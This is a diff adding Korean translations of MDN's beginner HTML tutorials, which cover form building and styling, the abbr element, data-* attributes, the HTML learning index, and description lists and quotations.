{{HTMLElement("input")}} 요소의 가장 중요한 속성은 type 속성이다. 이 속성은 {{HTMLElement("input")}} 요소가 어떻게 입력을 받을 것인지 정의하기 떄문에 매우 중요하다. 이것은 아예 요소를 변경하기 떄문에 주의 해야한다. 만약 이것에 대하여 더 자세한 정보를 알고 싶다면 다음 문서를 참조 하라. native form widgets 우리의 예제에서는 이 속성의 기본 값인 오직 text값만 사용했다. 이 값은 제어나 유효성 검사 없이 모든 종류의 텍스트를 받아 들이는 한줄 텍스트 필드를 나타낸다. 또한 오직 이메일 주소만 받는 한줄 텍스트 필드 email값을 사용했다. 이 마지막 값은 기본 텍스트 필드를 사용자가 입력 한 데이터에 대한 몇 가지 검사를 수행하는 "지능형"필드의 종류로 전환한다. 만약 폼 데이터 유효성 확인에 대하여 자세히 알고싶다면 다음 문서를 참조 해라. Form data validation

+ +

마지막 요소를 보기전에 다음 <input /> VS <textarea></textarea>요소를 봐야한다. 이것은 이상한 HTML 요소중 하나이다. <input>태그는 자동 닫힘 태그다 무슨 의미냐면 요소가 끝날떄 반드시 "/"닫는 태그에 추가해야 하는 것을 의미한다. 이와 반대로, {{HTMLElement("textarea")}}은 자동 닫힘 태그가 아니다 그래서 반드시 엔딩태그를 사용하여 요소를 종료해야한다. 이 것은 기본 값을 정의하는 특정 기능에 영향을 미친다. 요소의 기본 값 정의는 반드시 value 속성을 다음과 같이 지정 해야 한다.

+ +
<input type="text" value="by default this element is filled with this text" />
+ +

이와 반대로 {{HTMLElement("textarea")}}요소 에서 기본값을 정의하고 싶다면,  {{HTMLElement("textarea")}}요소의 시작 태그와 끝 태그 사이에 문자들을 다음과 같이 입력 하면된다.

+ +
<textarea>by default this element is filled with this text</textarea>
+ +

 {{HTMLElement("button")}} 요소로 끝내기

+ +

우리의 폼이 거의 완성되간다. 이제 단지 사용자 데이터를 서버에 보낼수 있도록 버튼을 추가하면된다. 이것은 간단하게 {{HTMLElement("button")}} 요소를 사용한다.

+ +
<form action="/my-handling-form-page" method="post">
+    <div>
+        <label for="name">Name:</label>
+        <input type="text" id="name" />
+    </div>
+    <div>
+        <label for="mail">E-mail:</label>
+        <input type="email" id="mail" />
+    </div>
+    <div>
+        <label for="msg">Message:</label>
+        <textarea id="msg"></textarea>
+    </div>
+
+    <div class="button">
+        <button type="submit">Send your message</button>
+    </div>
+</form>
+ +

버튼은 다음과 같은 3개 종류가 있다. submitresetbutton.

+ + + +

알아두어야 할것은  {{HTMLElement("input")}} 요소를 사용하여 버튼 유형을 만들 수 있다.  {{HTMLElement("button")}}요소와 가장 큰 차이점은 {{HTMLElement("input")}}요소는 오직 일반 텍스트만 보내는 반면 {{HTMLElement("button")}}요소는 전체 HTML 콘텐츠를 보낸다.

+ +

CSS로 더욱 나이스하게 만들기

+ +

이제 우리는 HMLT폼을 가졋지만 가지고 있는 브라우저에서 보면 구리게 보인다.

+ +

+ +

CSS 스타일시트를 이용하여 조금만더 나이스하게 만들어 보자.

+ +

폼을 가운데로 정렬하고 테두리를 보이게 하는것 부터 시작하자.

+ +
form {
+    /* Just to center the form on the page */
+    margin: 0 auto;
+    width: 400px;
+    /* To see the outline of the form */
+    padding: 1em;
+    border: 1px solid #CCC;
+    border-radius: 1em;
+}
+ +

그 다음 각각 폼 위젯사이에 여백을 추가하자.

+ +
form div + div {
+    margin-top: 1em;
+}
+ +

이제 레이블에 초점을 맞추자. 우리의 폼을 더 읽기 쉽게 만들기 위해 모든 라벨들이 같은 사이즈와 같은 쪽을 정렬이 되게하자. 이 경우 오른쪽 정렬을 하지만 경우에 따라서 왼쪽 정렬도 좋을 수 있다.

+ +
label {
+    /* To make sure that all label have the same size and are properly align */
+    display: inline-block;
+    width: 90px;
+    text-align: right;
+}
+ +

HTML 폼을 다루는 가장 어려운 것중 하나는 HTML자체를 위젯으로 스타일 하는 것이다. 텍스트 필드는 쉽게 스타일 할수 있지만 다른 위젯들은 아니다. 만약 HTML 폼 위젯 스타일에 대하여 자세한 정보를 알고 싶으면 다음 문서를 참조하시오.  Styling HTML forms

+ +

폰트, 크기, 테두리를 변경 해보자

+ +
input, textarea {
+    /* To make sure that all text fields have the same font settings
+       By default, textareas have a monospace font */
+    font: 1em sans-serif;
+
+    /* To give the same size to all text field */
+    width: 300px;
+    -moz-box-sizing: border-box;
+    box-sizing: border-box;
+
+    /* To harmonize the look & feel of text field border */
+    border: 1px solid #999;
+}
+ +

HTML 폼은 요소의 상태를 나타내는 많은 가상클래스 를 지원한다.예르들어 위젯이 활성화 되면 하이라이트 효과를 추가할 수있다. 이것은 사용자가 쉽게 따라가도록 하는 편리한 방법이다.

+ +
input:focus, textarea:focus {
+    /* To give a little highlight on active elements */
+    border-color: #000;
+}
+ +

다중 텍스트 필드는 몇몇 사용자 지정 스타일이 필요하다. 기본적으로  {{HTMLElement("textarea")}}요소는 바닥이 텍스트 기준선에 정렬되는 인라인 블록 이다. 대부분 이것들은 우리가 원하는 것이 아니다. 이런 경우 나이스하게 라벨과 필드를 정렬하려면  {{HTMLElement("textarea")}}요소의 vertical-align 속성을  top이라 변경 해야 한다.

+ +

또하나 유용한 resize 프로퍼티는 사용자가 쉽게  {{HTMLElement("textarea")}}요소의 크기를 조정 할수 있게 해준다.

+ +
textarea {
+    /* To properly align multiline text fields with their labels */
+    vertical-align: top;
+
+    /* To give enough room to type some text */
+    height: 5em;
+
+    /* To allow users to resize any textarea vertically
+       It does not work on every browsers */
+    resize: vertical;
+}
+ +

버튼도 특별한 스타일이 필요하다. 이를 위해 우선 {{HTMLElement("div")}}요소안에 버튼을 넣는다. 그리고 다른 위젯들과 정렬을 해야한다. 그럴러면 {{HTMLElement("label")}}요소를 흉내 내야한다. 그 후에 패딩 과 마진 속성을 지정하면된다

+ +
.button {
+    /* To position the buttons to the same position of the text fields */
+    padding-left: 90px; /* same size as the label elements */
+}
+
+button {
+    /* This extra margin represent roughly the same space as the space
+       between the labels and their text fields */
+    margin-left: .5em;
+}
+ +

이제 폼이 더 나이스 해졋다.

+ +

+ +

웹서버로 데이터 보내기

+ +

까다로울지 모르는 마지막 부분은 데이터를 서버측에서 처리하는 것이다. 앞에서 언급 된 바와 같이 HTML폼은 사용자에게 데이터를 물어보고 웹서버로 데이터를 전달하는 데 편리한 방법이다.

+ +

{{HTMLElement("form")}} 요소는 action속성과 method속성을 사용하여 데이터를 어디에 어떻게 보낼것인지 정의한다.

+ +

이걸로 충분하지않다. 데이터의 이름을 지정해야한다. 이러한 이름들은 브라우저측이나 서버 측 모두에게 중요하다. 브라우저에게는 데이터 각 부분에는 이름을 지정하고 서버측 에서는 이름을 이용하여 데이터를 다룰수 있게 해준다.

+ +

그래서 데이터의 이름을 지정하려면 데이터를 받는 각 폼 위젯에 name속성을 지정해야한다.

+ +
<form action="/my-handling-form-page" method="post">
+    <div>
+        <label for="name">Name:</label>
+        <input type="text" id="name" name="user_name" />
+    </div>
+    <div>
+        <label for="mail">E-mail:</label>
+        <input type="email" id="mail" name="user_email" />
+    </div>
+    <div>
+        <label for="msg">Message:</label>
+        <textarea id="msg" name="user_message"></textarea>
+    </div>
+
+    <div class="button">
+        <button type="submit">Send your message</button>
+    </div>
+</form>
+ +

우리의 예제에서는 다음과 같이 3가지 데이터 이름을 지정했다.  "user_name", "user_email" and "user_message". 이 데이터는 "/my-handling-form-page"로  HTTP POST 방식으로 전송된다.

+ +

서버 측에서는 URL에서 HTTP 요청에 의해 구현된 3개의 키/벨류 항목의 목록 데이터를 받게 된다. 스크립트로 데이터를 다루는 방법은 너에게 달려있다. 각각 의 서버 측 언어들은(PHP, Python, Ruby, Java, C# 등)자신만의 방식으로 이를 다룬다. 더 깊게 들어가는 것은 이문서의 범위를 벗어나지만 더자세히 알고 싶다면 다음 문서를 참조하시오. Sending and retrieving form data.

+ +

결론

+ +

축하한다! 첫번째 HTML폼을 만들었다.

+ + + + + + + + + + + + + + + +
Live example
{{ EmbedLiveSample('A_simple_form', '100%', '240', '', 'Learn/HTML/Forms/Your_first_HTML_form/Example') }}
Check out the source code
+ +

하지만 이제 시작일 뿐이고, 더 깊게 파고들 시간이다. HTML폼은 이 문서에서 본 것 보다 더 강력한 도구이고, 이 가이드의 다른 문서가 나머지 내용을 배우는데 도움이 될 것이다.

+ +

{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}

diff --git a/files/ko/learn/html/howto/index.html b/files/ko/learn/html/howto/index.html new file mode 100644 index 0000000000..2bef079e90 --- /dev/null +++ b/files/ko/learn/html/howto/index.html @@ -0,0 +1,153 @@ +--- +title: Learn HTML to solve problems +slug: Learn/HTML/Howto +tags: + - CodingScripting + - HTML + - NeedsTranslation + - TopicStub +translation_of: Learn/HTML/Howto +--- +

Once you've covered the basics, there isn't one right path to learn {{Glossary("HTML")}}. You can pick up whatever you like at your own pace. HTML is simply a set of {{glossary("tag","tags")}} you can use to set up your document structure and add extra functionality to your document. The following articles explain thoroughly, with full working examples, how to use HTML for the most common, frequent Web development tasks. If you need a quick explanation of a tag, please head over to our HTML reference.

+ +

Common use cases

+ +

HTML covers a lot of very common use cases in Web design. It's highly likely you'll come across these scenarios:

+ +
+
+

Basic structure

+ +

The most basic application of HTML is document structure. If you're new to HTML you should start with this.

+ + + +

Basic text-level semantics

+ +

HTML specializes in providing semantic information for a document, so HTML answers many questions you might have about how to get your message across best in your document.

+ + +
+ +
+ + +

One of the main reasons for HTML is make navigation easy with {{Glossary("hyperlink", "hyperlinks")}}, which can be used in many different ways:

+ + + +

Images & multimedia

+ + + +

Scripting & styling

+ +

HTML only sets up document structure. To solve presentation issues, use {{glossary("CSS")}}, or use scripting to make your page interactive.

+ + + +

Embedded content

+ + +
+
+ +

Uncommon or advanced problems

+ +

Beyond the basics, HTML is very rich and offers advanced features for solving complex problems. These articles help you tackle the less common use cases you may face:

+ +
+
+

Forms

+ +

Forms are a complex HTML structure made to send data from a webpage to a web server. We encourage you to go over our full dedicated guide. Here is where you should start:

+ + + +

Tabular information

+ +

Some information, called tabular data, needs to be organized into tables with columns and rows. It's one of the most complex HTML structures, and mastering it is not easy:

+ + + +

Data representation

+ + + +

Interactivity

+ + +
+ + +
+ +

     

diff --git a/files/ko/learn/html/howto/mark_abbreviations_and_make_them_understandable/index.html b/files/ko/learn/html/howto/mark_abbreviations_and_make_them_understandable/index.html new file mode 100644 index 0000000000..41c1697de3 --- /dev/null +++ b/files/ko/learn/html/howto/mark_abbreviations_and_make_them_understandable/index.html @@ -0,0 +1,267 @@ +--- +title: 약자 표시 및 이해시키는 방법 +slug: Learn/HTML/Howto/Mark_abbreviations_and_make_them_understandable +tags: + - HTML + - 초보 +translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations +--- +
+

HTML은 독자가 이해할 수 있도록 해주는 약자를 표시해주는 단순하고 직관적인 방법을 제공합니다.

+
+ + + + + + + + + + + + +
먼저:기초적인 HTML 문서 만들기에 익숙해지셔야 합니다.
목표:HTML로 어떻게 약자 및 두음문자를 표시하는지 알아봅시다.
+ +

약자에 대해

+ +

항상 우리는 글을 쓸 때 약자나 두음문자를 사용합니다.('중화인민공화국'의 '중국'같이 짧게 적는 것이 약자, '아껴쓰고, 나눠쓰고, 바꿔쓰고, 다시쓰고'의 '아나바다'와 같이 첫 글자만 골라서 쓰는 것이 두음문자입니다.)

+ +

We have to make sure that our readers can understand our abbreviations. In standard writing, it's really common to spell out the abbreviation only on its first occurrence, then just use the abbreviation everywhere:

+ +
유럽연합(UE)은 28 개의 주로, 합중국(US)은 50 개의 주로 이루어져 있습니다. US는 연방제 공화국, UE는 자치주들이 정치적, 경제적으로 결속한 집단입니다.
+ +
+

이렇게 하면 모든 웹 페이지에 완전히 유효하지만, HTML은 독자들에게 약자를 설명하기 위한 부가적인 방법을 제공해줍니다.

+
+ +

abbr 요소

+ +

HTML 약자 요소 ({{HTMLElement("abbr")}})는 약자에 익숙하지 않거나 시각장애우같이 스크린 리더를 실행해야 하는 사람들을 돕기 위한 약자나 두음문자를 말합니다. 가장 중요한 규칙은, 가능한 언제든지 쓰라는 것입니다.

+ +
+

알림: <acronym> 요소에 대해 들어보셨겠지만, <acronym>은 사장되었으므로 브라우저에서 언제든지 지원을 끊을 수 있기 때문에 사용하지 말아야 합니다.

+
+ +
<p>I need to talk to you <abbr>ASAP</abbr>.</p>
+ +

이렇게 title 속성으로 약자를 설명할 수도 있습니다:

+ +
<p>I need to talk to you <abbr title="as soon as possible">ASAP</abbr>.</p>
+ +

언제 title 속성을 적어야 할까요? 마음대로 시면 됩니다. It can be overkill to spell out a very common abbreviation like "ASAP" or an abbreviation used many times in your document. When in doubt, err on the side of providing the full description.

+ +
+

Note: In languages with grammatical number (especially languages with more than two numbers, like Arabic), use the same grammatical number in your title attribute as inside your <abbr> element.

+
+ +

{{glossary("CSS")}}로 약자를 가리키는 가시적인 정보를 추가, 변경, 제거하실 수 있습니다. 보통 마우스를 대면 브라우저가 title 속성의 콘텐츠를 툴팁으로 보여준다는 것도 기억하십시오. 이전의 예시대로 하면 이렇게 보여집니다:

+ +

{{ EmbedLiveSample('The_abbr_element','100%',90) }}

+ +
+

중요: 만약 사람들이 약자를 이해하는 것을 따진다면, 절대로 title 속성에 의존하지 마세요. Spell your abbreviation out in the text on first occurrence. 툴팁에 접근하려면 마우스가 필요합니다. 이것은 폰이나 키보드, 스크린 리더를 쓰는 사람들을 배제합니다.

+
+ +

실전

+ +

{{HTMLElement('abbr')}}에 대해 알아봅시다. 이 글 바로 밑에 약자를 <abbr>로 표시하고 title 속성으로 설명합니다. 다 했으면 잘 되었는지 보기 위해 "show results"를 눌러봅시다. 용어 사전에서 모든 약자들을 보실 수 있습니다.

+ + + +

{{ EmbedLiveSample('Exercise','100%',220) }}

+ +

더 알아보기

+ + diff --git "a/files/ko/learn/html/howto/\353\215\260\354\235\264\355\204\260_\354\206\215\354\204\261_\354\202\254\354\232\251\355\225\230\352\270\260/index.html" "b/files/ko/learn/html/howto/\353\215\260\354\235\264\355\204\260_\354\206\215\354\204\261_\354\202\254\354\232\251\355\225\230\352\270\260/index.html" new file mode 100644 index 0000000000..d4abd5da57 --- /dev/null +++ "b/files/ko/learn/html/howto/\353\215\260\354\235\264\355\204\260_\354\206\215\354\204\261_\354\202\254\354\232\251\355\225\230\352\270\260/index.html" @@ -0,0 +1,82 @@ +--- +title: 데이터 속성 사용하기 +slug: Learn/HTML/Howto/데이터_속성_사용하기 +tags: + - HTML + - HTML5 + - 가이드 + - 예제 + - 웹 + - 전용 데이터 속성 +translation_of: Learn/HTML/Howto/Use_data_attributes +--- +
{{LearnSidebar}}
+ +

HTML5 특정 요소와 연관되어 있지만 확정된 의미는 갖지 않는 데이터에 대한 확장 가능성을 염두에 두고 디자인되었습니다. data-* 속성은 표준이 아닌 속성이나 추가적인 DOM 속성, {{domxref("Node.setUserData()")}}과 같은 다른 조작을 하지 않고도, 의미론적 표준 HTML 요소에 추가 정보를 저장할 수 있도록 해줍니다.

+ +

HTML 문법

+ +

문법은 간단합니다. 어느 엘리멘트에나 data-로 시작하는 속성은 무엇이든 사용할 수 있습니다. 화면에 안 보이게 글이나 추가 정보를 엘리멘트에 담아 놓을 수 있어요. 아래 data 사용법이 있습니다:

+ +
<article
+  id="electriccars"
+  data-columns="3"
+  data-index-number="12314"
+  data-parent="cars">
+...
+</article>
+ +

JavaScript 에서 접근하기

+ +

JavaScript 에서 이 속성 값들을 읽는 방법은 너무 간단합니다. 값을 읽기 위한 완전한 HTML 이름과 함께 {{domxref("Element.getAttribute", "getAttribute()")}} 를 사용하면 됩니다. 그러나 표준은 더 간단한 방법을 정의합니다.:  {{domxref("DOMStringMap")}} 는 {{domxref("HTMLElement.dataset", "dataset")}} 속성을 통해 읽어낼 수 있습니다.

+ +

dataset 객체를 통해 data 속성을 가져오기 위해서는 속성 이름의 data- 뒷 부분을 사용합니다.(대시들은 camelCase로 변환되는 것에 주의하세요.) 

+ +
var article = document.getElementById('electriccars');
+
+article.dataset.columns // "3"
+article.dataset.indexNumber // "12314"
+article.dataset.parent // "cars"
+ +

각 속성은 문자열이며 읽거나 쓸 수 있습니다. 위의 경우에서 article.dataset.columns = 5와 같이 설정하면 해당 속성을 "5"로 변경할 것입니다.

+ +

CSS 에서 접근하기

+ +

데이터 속성은 순 HTML 속성이기 때문에 CSS에서도 접근할 수 있다는 것에 주목하세요. 예를 들어, 부모 데이터를 article에서 보여주려면 {{cssxref("attr")}} 함수의 생성된 content 를 사용하면 됩니다.:

+ +
article::before {
+  content: attr(data-parent);
+}
+ +

CSS의 속성 선택자도 데이터에 따라 스타일을 바꾸는데 사용할 수 있습니다.:

+ +
article[data-columns='3'] {
+  width: 400px;
+}
+article[data-columns='4'] {
+  width: 600px;
+}
+ +

이 JSBin 예시에서 이들이 함께 작동하는 것을 볼 수 있습니다. 

+ +

데이터 속성들은 게임 점수와 같이 계속 변하는 정보도 저장할 수 있습니다. CSS선택자와 자바스크립트 접근을 이용해서 display 규칙을 사용하지 않고도 훌륭한 효과를 만들 수도 있습니다. 생성된 content와 CSS transition의 예시를 보려면 이 screencast 를 확인하세요. (JSBin 예시).

+ +

데이터 값은 문자열입니다. 스타일을 적용하려면 숫자 값은 선택자에 따옴표 안에 써주어야 합니다.

+ +

문제점

+ +

보여야 하고 접근 가능해야하는 내용은 데이터 속성에 저장하지 마세요. 접근 보조 기술이 접근할 수 없기 때문입니다. 또한 검색 크롤러가 데이터 속성의 값을 찾지 못할 것입니다.

+ +

고려해야할 주요한 문제는 인터넷 익스플로러의 지원과 성능입니다. 인터넷 익스플로러11+ 은 표준을 지원하지만, 이전 버전들은 dataset을 지원하지 않습니다. IE 10 이하를 지원하기 위해서는 대신 {{domxref("Element.getAttribute", "getAttribute()")}}를 통해 데이터 속성을 접근해야 합니다. 또한, JS 데이터 저장소에 저장하는 것과 비교해서 데이터 속성 읽기의 성능은 저조합니다.

+ +

하지만 이 때문에, 커스텀 요소와 관련된 메타 데이터를 위해서는 훌륭한 해결책입니다.

+ +

Firefox 49.0.2(아마도 이전/이후의 버전)에서는,1022 데이터를 초과하는 데이터 속성은 자바스크립트(EcmaScript 4)가 읽지 못할 것입니다.

+ +

더 알아보기

+ + diff --git a/files/ko/learn/html/index.html b/files/ko/learn/html/index.html new file mode 100644 index 0000000000..11776aba33 --- /dev/null +++ b/files/ko/learn/html/index.html @@ -0,0 +1,53 @@ +--- +title: HTML +slug: Learn/HTML +tags: + - Beginner + - HTML + - 입문자 +translation_of: Learn/HTML +--- +
{{LearnSidebar}}
+ +

웹사이트를 만들기 위해서는 웹 페이지 구조 정의의 토대가 되는 기술인 {{Glossary('HTML')}}에 대해 알아야 합나다. HTML은 작성하고자 하는 웹 콘텐츠가 문단인지, 리스트인지, 헤드라인인지, 링크인지, 이미지인지, 멀티미디어 플레이어인지, 폼 요소인지 아니면 기타 사용 가능한 다른 요소들 중의 하나인지, 혹은 새롭게 정의한 요소인지를 명확하기 인지할 수 있도록 하는데 사용됩니다.

+ +

학습 방향

+ +

HTML을 배우면서 시작하는 것이 가장 이상적입니다. HTML에 대한 소개를 읽는 것부터 시작하세요. 그러면, 아래와 같은 고급 주제에 대해 배울 수 있게 될 것입니다. 

+ + + +

이 주제를 학습하기에 앞서, 최소한 콘텐츠를 보면서 웹서핑하는 정도의 기초적인 컴퓨터 사용에 익숙해야 합니다. 기본적인 소프트웨어를 설치하여 작업환경의 기초를 설정하고, 파일을 다뤄보면서 파일을 생성하고 관리하는 방법을 이해해야 합니다. 이 두 가지가 모두 초보자가 웹을 정복하기 위한 기본이 됩니다.

+ +

이 주제를 공부하기 전에 웹에 대한 기본 학습을 추천하지만, 필수는 아닙니다. HTML의 기본에서 다루는 대부분의 내용이 우리가 배우게 될 HTML 소개에도 포함되어 있기는 하지만 좀 더 자세하게 다루고 있습니다.

+ +

구성

+ +

이 주제는 각 단계를 통해 배울 수 있도록 미리 마련해 둔 아래와 같은 순서로 구성되어 있습니다. 첫 단계부터 순서대로 진행하길 바랍니다.

+ +
+
HTML 소개
+
이 과정은 중요한 컨셉과 구문을 배우게 되는 단계로 텍스트에 HTML을 적용하고, 파이퍼 링크를 추가하는 방법, HTML을 이용하여 웹 페이지의 구조를 작성하는 방법을 알아봅니다.
+
멀티미디어 요소 추가하기(embedding)
+
이 과정은 웹페이지에 HTML을 이용하여 멀티미디어 요소를 추가하는 방법, 이미지를 추가할 수 있는 다른 방법들, 그리고 비디오, 오디오, 혹은 다른 웹페이지를 삽입하는 방법을 살펴봅니다.
+
HTML 폼 요소
+
폼 요소는 웹에서 굉장히 중요합니다. 폼 요소는 회원가입, 로그인, 피드백 보내기, 물건 구입과 같이 웹사이트와 상호작용하는데 필요한 굉장히 많은 기능을 제공합니다. 이 과정은 폼 요소의 클라이언트 측 요소를 만드는 것으로 시작됩니다.
+
테이블(TBD)
+
웹페이지에 표 형태의 데이터를 이해 가능하고, {{glossary("Accessibility", "접근")}}할 수 있는 방법으로 표현하는 것은 도전이 될 수 있습니다. 이 과정은 좀 더 세부적인 기능인 캡션(caption)과 요약(summary)를 적용하는 방법과 함께 테이블 마크업의 기본을 다룹니다.
+
+ +

일반적인 HTML 문제 해결하기

+ +

타이틀 다루기, 이미지, 비디오 강조된 콘텐츠, 기본 폼 요소 만들기 등 웹페이지를 만들때 생기는 일반적인 문제들을 해결하기 위해 HTML을 이용하는 방법을 설명하고 있는 콘텐츠 링크를 제공합니다.

+ +

함께 보기

+ +
+
+
MDN HTML (HyperText Markup Language)
+
요소와 속성에 대한 상세한 설명을 담고 있는 MDN의 HTML 문서를 참고하는 것은 좋은 출발점입니다. 요소가 어떤 속성을 가지고 있는지, 어떤 값과 속성을 사용할 수 있는지를 알고 싶다면, 큰 도움이 될 것입니다.
+
+
diff --git a/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.html new file mode 100644 index 0000000000..3bf2b758d7 --- /dev/null +++ b/files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.html @@ -0,0 +1,478 @@ +--- +title: Advanced text formatting +slug: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting +translation_of: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}
+ +

텍스트 서식에 있어서  HTML text fundamentals 에서 이야기 하지 않은 수많은 요소들이 있습니다. 이 글에서 설명하는 요소들은 비교적 많이 알려져 있지않지만 여전히 유용합니다. (그리고 이것은 완전한 목록이 아닙니다.). 이 글에서 여러분은 인용구, 서술문, 컴퓨터 코드 및 관력 텍스트, 첨자, 위첨자, 연락처 정보 등을 표시하는 방법에 대해 알아봅시다.

+ + + + + + + + + + + + +
요구 기술:Getting started with HTML 에 설명된 기본적인 HTML 숙련도. HTML text fundamentals 에서 설명하는 텍스트 포맷팅에 대한 지식.
목표: +

비교적 알려지지 않은 HTML 요소들을 사용하여 고급 시맨틱 기능을 사용하여 HTML을 구성하는 방법을 학습합니다.

+
+ +

Description lists

+ +

HTML text fundamentals 에서 mark up basic lists 를 볼 수 있습니다. 하지만 해당 글에는 여러분이 앞으로 종종 마주할 세 번째 리스트 타입인 description lists에 대해선 언급하지 않았습니다. 이 리스트의 목적은 용어 및 정의, 질문 및 답변과 같은 일련의 항목 및 관련 설명을 표시하는 것입니다.  아래의 예시를 살펴봅시다.

+ +
soliloquy
+In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
+monologue
+In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
+aside
+In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information
+ +

Description lists 는 다른 타입의 리스트와 다르게 {{htmlelement("dl")}} 태그를 사용합니다. 용어, 질문과 같은 상위 항목은 {{htmlelement("dt")}} (description term) 요소를 사용하고,\ 정의, 답변과 같은 하위 항목은 {{htmlelement("dd")}} (description definition) 요소를 사용합니다. 이해를 돕기위해 아래의 마크업 예시가 준비되어 있습니다.

+ +
<dl>
+  <dt>soliloquy</dt>
+  <dd>In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd>
+  <dt>monologue</dt>
+  <dd>In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd>
+  <dt>aside</dt>
+  <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.</dd>
+</dl>
+ +

브라우저에서 제공하는 기본 스타일에 의해서 정의, 답변과 같은 하위 항목에 대해서 들여쓰기가 적용됩니다.  현재 보고계시는 description list 는 MDN에서 제공하는 스타일이 적용되어 있습니다. 이는 브라우저에서 제공하는 기본 스타일과 매우 유사하게 정의 되어 있습니다만, 추가적으로 정의된 스타일입니다.

+ +
+
soliloquy
+
In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)
+
monologue
+
In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.
+
aside
+
In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.
+
+
+ +

아래의 예시와 같이 하나의 <dt> 에는 여러개의 <dd> 가 존재할 수 있습니다. 

+ +
<dl>
+  <dt>aside</dt>
+  <dd>In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought, or piece of additional background information.</dd>
+  <dd>In writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)</dd>
+</dl>
+ +
+
aside
+
In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece of additional background information.
+
In writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)
+
+
+ +

추가학습: 일련의 정의 표시

+ +

description list 를 직접 시도해볼 시간입니다. input 필드에 요소들을 추가하여 output 필드에 description list 로 표시되도록 하십시오. 원하시는 경우에 추가적인 요소들을 추가하셔도 좋습니다.

+ +

실수를 하셨을 경우에는, Reset 버튼을 통해서 재시작하실 수 있습니다. 해답을 찾지 못하셨을 경우에 Show solution 버튼을 통해서 해답을 보실 수 있습니다.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 500) }}

+ +

인용구

+ +

HTML에는 인용구 표시에 사용할 수 있는 요소가 존재합니다. 해당 요소는 블록 또는 인라인 요소인지에 따라서 다르게 표시됩니다.

+ +

Blockquotes

+ +

블록 레벨 컨텐츠의 섹션(문단, 여러 단락, 리스트등)이 인용된 경우, 이를 나타내는 <blockquote>요소로 감싸야합니다. 그리고 cite 속성에 출처를 표기합니다. 아래의 예시는 MDN <blockquote> 요소 페이지를 인용한 것 입니다.

+ +
<p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
+Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+ +

이것을 block quote 로 변경하기 위해서 아래와 같이 할 수 있습니다.

+ +
<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
+  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
+  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+</blockquote>
+ +

브라우저 기본 스타일은 인용구를 표현할 때, 들여쓰기 된 단락으로 나타냅니다. MDN은 추가적인 스타일링과 함께 이를 나타냅니다.

+ +
+

The HTML <blockquote> Element (or HTML Block Quotation Element) indicates that the enclosed text is an extended quotation.

+
+ +

Inline quotations

+ +

인라인 인용구는 <q> 요소를 사용한다는 점만 제외하면 블럭 인용구와 동일하게 동작합니다. 아래의 마크업 예시는 MDN <q> 페이지의 인용문을 포함합니다.

+ +
<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended
+for short quotations that don't require paragraph breaks.</q></p>
+ +

브라우저 기본 스타일은 인라인 인용구를 따옴표로 묶은 일반 텍스트로 표현합니다.

+ +

The quote element — <q> — is intended for short quotations that don't require paragraph breaks.

+ +

Citations

+ +

{{htmlattrxref("cite","blockquote")}}요소의 컨텐츠는 유용하게 보이지만 안타깝게도 브라우저, 스크린 리더 등은 이를 이용해서 할 수 있는 것이 많지 않습니다. 브라우저는  javascript나 CSS로 여러분이 직접 해결책을 제시하지 않는다면 cite  컨텐츠를 화면에 표시할 방법이 없습니다. 페이지에서 인용 출처를 화면에 나타나게 하고 싶다면 <cite> 요소를 사용하는 것이 더 좋습니다. 이는 이름 그대로 출처를 포함하기 위해서 사용됩니다. — <cite> 요소 안에 있는 출처에 대한 링크를 연결할 수 있습니다.

+ +
<p>According to the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
+<cite>MDN blockquote page</cite></a>:
+</p>
+
+<blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
+  <p>The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block
+  Quotation Element</em>) indicates that the enclosed text is an extended quotation.</p>
+</blockquote>
+
+<p>The quote element — <code>&lt;q&gt;</code> — is <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended
+for short quotations that don't require paragraph breaks.</q> -- <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">
+<cite>MDN q page</cite></a>.</p>
+ +

Citations are styled in italic font by default. You can see this code at work in our quotations.html example.

+ +

추가학습: 누가 말했어?

+ +

